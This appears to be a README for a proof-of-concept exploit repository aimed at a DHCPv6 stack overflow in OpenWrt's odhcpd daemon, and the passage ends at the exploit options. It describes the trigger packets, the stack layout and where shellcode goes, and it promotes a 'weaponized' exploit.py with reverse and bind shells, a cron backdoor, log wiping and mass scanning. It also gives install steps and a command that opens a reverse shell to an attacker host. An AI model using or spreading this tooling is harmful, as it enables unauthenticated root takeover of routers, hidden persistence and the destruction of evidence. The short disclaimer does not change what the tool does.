CVE-2026-53921 – odhcpd Stack Overflow

• For educational and authorized testing only. Unauthorized use is illegal.**

---

Vulnerability Overview

CVE-2026-53921 is a critical stack buffer overflow in OpenWrt’s odhcpd daemon – the default DHCPv6/DHCPv4/RA server.

How it works

The vulnerability exists in odhcpd's DHCPv6 message handling code, specifically in the build_ia() and dhcpv6_ia_handle_IAs() functions.

Technical Deep Dive

1. The Root Cause

The bug occurs during the serialization (packing) of DHCPv6 Reply packets. When odhcpd responds to client requests, it constructs the reply in a fixed-size stack buffer of 512 bytes without proper bounds checking.

// Simplified representation of the vulnerable code

static void build_ia(struct dhcpv6_ia *ia, uint8_t *buf, size_t *len) {
    // No bounds check before writing
    memcpy(buf + *len, ia->data, ia->length);
    *len += ia->length;
}

2. Triggering the Overflow

An attacker sends a DHCPv6 Request (or Solicit) with:

• 5 or more IA_NA (Identity Association for Non-temporary Address) options, each containing an IAAddress sub-option.
• 22 or more IA_PD (Identity Association for Prefix Delegation) options.

Each option consumes stack space as odhcpd builds its Reply. The accumulated data exceeds 512 bytes, causing the overflow.

3. Two Overflow Vectors

---

Vector Trigger Overflow Point

---

Site 1 5 IA_NA options build_ia() for IA_NA with IPv6 addresses

Site 2 22 IA_PD options build_ia() for IA_PD

The root cause is identical, but the overflow occurs in different code paths, making both vectors equally exploitable.

4. Memory Layout

Stack Layout (simplified):

+-------------------+  <-- High addresses
|    Return Address |  ← Overwritten with attacker-controlled value
+-------------------+
|  Saved Frame Ptr  |
+-------------------+
|  Local Variables  |  ← 512-byte buffer
+-------------------+  <-- Low addresses

The attacker overwrites the saved return address to point to their shellcode in memory.

5. Exploitation Requirements

---

Requirement Description

---

Network Access Attacker must have IPv6 connectivity to the target

Authentication None -- unauthenticated attack

Privileges odhcpd runs as root, so RCE grants full system control

Target Service UDP port 547 (DHCPv6) must be open

6. Shellcode Placement

In a real exploit, the attacker's shellcode is placed in the IAAddress IPv6 address fields (16 bytes per IA_NA). The crafted packets pack the shellcode, NOP sled, and return address into these fields.

Crafted IA_NA Structure:

+-------------------+
| IA_NA Header      | (12 bytes)
+-------------------+
| IAAddress 1       | ← NOP sled + shellcode
+-------------------+
| IAAddress 2       | ← NOP sled + shellcode
+-------------------+
| IAAddress 3       | ← NOP sled + shellcode
+-------------------+
| IAAddress 4       | ← Return address
+-------------------+
| IAAddress 5       | ← Return address
+-------------------+

7. Impact Chain

Crafted DHCPv6 Request
         ↓
odhcpd processes IA_NA/IA_PD options
         ↓
512-byte stack buffer overflows
         ↓
Return address overwritten
         ↓
CPU jumps to shellcode
         ↓
Reverse shell / Bind shell / RCE
         ↓
Full system compromise (root privileges)

8. Attack Vectors vs. Mitigation Status

Version Status RCE Possible?

---

odhcpd < e432dd6 Vulnerable [+] Yes OpenWrt < 24.10.8 Vulnerable [+] Yes OpenWrt < 25.12.5 Vulnerable [+] Yes OpenWrt 24.10.8+ Patched [-] No OpenWrt 25.12.5+ Patched [-] No odhcpd master + e432dd6 Patched [-] No

9. Real-world Exploitation

This vulnerability is particularly dangerous because:

• odhcpd is enabled by default on OpenWrt installations.
• No authentication is required---any device on the same IPv6 segment can attack.
• The bug is in the request processing path.
• Stack canaries and ASLR are rarely present on embedded MIPS/ARM devices.
• The exploit can bypass common defenses in many embedded environments.

Affected versions

Component	Vulnerable versions	Fixed in
odhcpd (master branch)	before commit e432dd6	e432dd6 or later
OpenWrt releases	< 24.10.8 < 25.12.5	24.10.8 & 25.12.5

---

Tools

This repository provides two independent scripts:

Script	Purpose	Exploit code	Safety
verifier.py	Non‑intrusive vulnerability check	[-] No	[+] Safe
exploit.py	Full weaponized exploit	[+] Yes	[!] Dangerous

verifier.py – Vulnerability Checker

• Sends a standard DHCPv6 Solicit to verify the service is active.
• Reads HTTP/SSH banners to detect the OpenWrt version.
• Compares the version against the known vulnerable range.
• Does not send any overflow payload or shellcode.

exploit.py – Full Exploit

• Dual‑overflow vectors: IA_NA (Site1) and IA_PD (Site2).
• Automatic architecture detection (MIPS / ARM).
• MIPS big‑endian reverse & bind shellcode.
• Support for SOCKS5 proxy.
• Persistence (cron backdoor) and log wiping.
• Threaded scanning & mass exploitation.
• Optional payload encoding (XOR).

---

Installation

git clone https://github.com/tc4dy/CVE-2026-53921-PoC-Exploit
cd CVE-2026-53921-PoC-Exploit
pip install -r requirements.txt
#Note: Both scripts need root privileges to craft raw IPv6 packets.

Usage

Verifier – check if a target is vulnerable

sudo python3 verifier.py -u fe80::1%eth0 -i eth0

Exploit – gain a reverse shell (dont use for illegal activity, only test adv)

sudo python3 exploit.py -u fe80::1%eth0 -i eth0 --lhost 192.168.1.100 --lport 4444

Command-line Options

verifier.py

Argument	Description
-u, --target	Target IPv6 address (required)
-i, --iface	Network interface (default: eth0)

exploit.py